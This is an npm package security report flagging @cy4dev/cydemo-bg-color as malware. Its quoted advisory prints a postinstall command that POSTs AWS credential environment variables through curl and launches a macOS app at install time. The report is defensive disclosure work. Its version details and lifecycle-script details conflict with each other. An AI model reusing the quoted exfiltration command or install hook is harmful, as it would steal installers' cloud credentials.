---
canonical: "https://firewall.lpm.dev/npm/@cy4dev/cydemo-bg-color/v/4.0.0"
markdown: "https://firewall.lpm.dev/npm/@cy4dev/cydemo-bg-color/v/4.0.0.md"
package: "@cy4dev/cydemo-bg-color"
report_status: "published"
title: "@cy4dev/cydemo-bg-color@4.0.0 npm security report"
verdict: "malicious"
version: "4.0.0"
---

# @cy4dev/cydemo-bg-color@4.0.0 npm security report

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## Verdict summary
**Blocked & quarantined** — Quarantined by product-default policy — this version is not allowed through the firewall.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 4.0.0
- **Selected version is latest:** No
- **Analysis source:** OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV advisory MAL-2026-12504 confirms this npm version as malicious. @cy4dev/cydemo-bg-color@7.0.0 ships a postinstall lifecycle script (src/postinstall.js) that runs at \`npm install\` time and invokes node:child\_process.exec with two shell commands...

## Latest scan
- **Scanner version:** external-osv-malicious-v1
- **Verdict:** Malicious
- **Confidence:** 100.0%
- **Started:** 2026-08-07T00:35:08.254Z
- **Finished:** 2026-08-07T00:35:08.254Z
- **Download time:** Not available
- **Static scan time:** Not available
- **AI review time:** Not available
- **Total time:** Not available

## Security analysis

No additional public attack-surface or AI-review details are available.

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

@cy4dev/cydemo-bg-color@7.0.0 ships a postinstall lifecycle script (src/postinstall.js) that runs at \`npm install\` time and invokes node:child\_process.exec with two shell commands. The first, \`curl -X POST -d \\\`env | grep AWS\\\` http://localhost:8000\`, enumerates AWS\_\*-prefixed environment variables from the installer's shell and POSTs them as the request body — a functioning credential-exfiltration primitive against the installer's environment. The second, \`open /System/Applications/Calculator.app\`, launches a GUI application on macOS, demonstrating arbitrary host-shell execution triggered solely by installing the package. The package advertises itself as a DOM background-color helper; the postinstall behavior has no build or runtime purpose consistent with that description. The exfiltration destination in this build is loopback (localhost:8000), so the AWS credentials do not leave the host in this specific version, but the credential-scrape and arbitrary-exec code paths execute unconditionally on every install.

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** @cy4dev/cydemo-bg-color
- **Ecosystem:** npm
- **Version:** 4.0.0
- **Version published:** 2026-07-23T16:29:59.446Z
- **Package first seen:** 2026-07-24T12:35:44.377Z
- **Package last seen:** 2026-08-07T00:35:08.254Z
- **Known versions:** 4
- **Latest version:** 7.0.0
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@cy4dev/cydemo-bg-color/v/4.0.0>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-12504>)
- [PACKAGE](<https://www.npmjs.com/package/@cy4dev/cydemo-bg-color/v/5.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/@cy4dev/cydemo-bg-color/v/7.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/@cy4dev/cydemo-bg-color/v/6.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/@cy4dev/cydemo-bg-color/v/4.0.0>)